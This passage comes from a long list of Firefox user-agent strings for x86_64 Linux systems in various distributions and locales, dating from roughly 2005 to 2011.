SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-2.el5 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-NZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.10) Gecko/20050724 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051127 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070718 Red Hat/1.5.0.12-3.el5 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20080419 CentOS/1.5.0.12-0.15.el4.centos Firefox/1.5.0.12 pango-text Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060522 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060911 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060924 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2008.0 (2008.0) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.8 (Debian-2.0.0.12-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.13) Gecko/20080208 Mandriva/2.0.0.13-1mdv2008.1 (2008.1) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080719 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070324 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070415 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070529 SUSE/2.0.0.4-6.1 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070604 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070627 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071015 SUSE/2.0.0.8-1.1 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86-64; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-37 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061122 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061128 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061202 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051201 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051212 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122010 Firefox/2.0.0.3 (Debian-3.0.5-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2010012717 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-3.el4 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.20) Gecko/20110804 Red Hat/3.6-2.el5 Firefox/3.6.20 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a1) Gecko/20060112 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8) Gecko/20051231 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 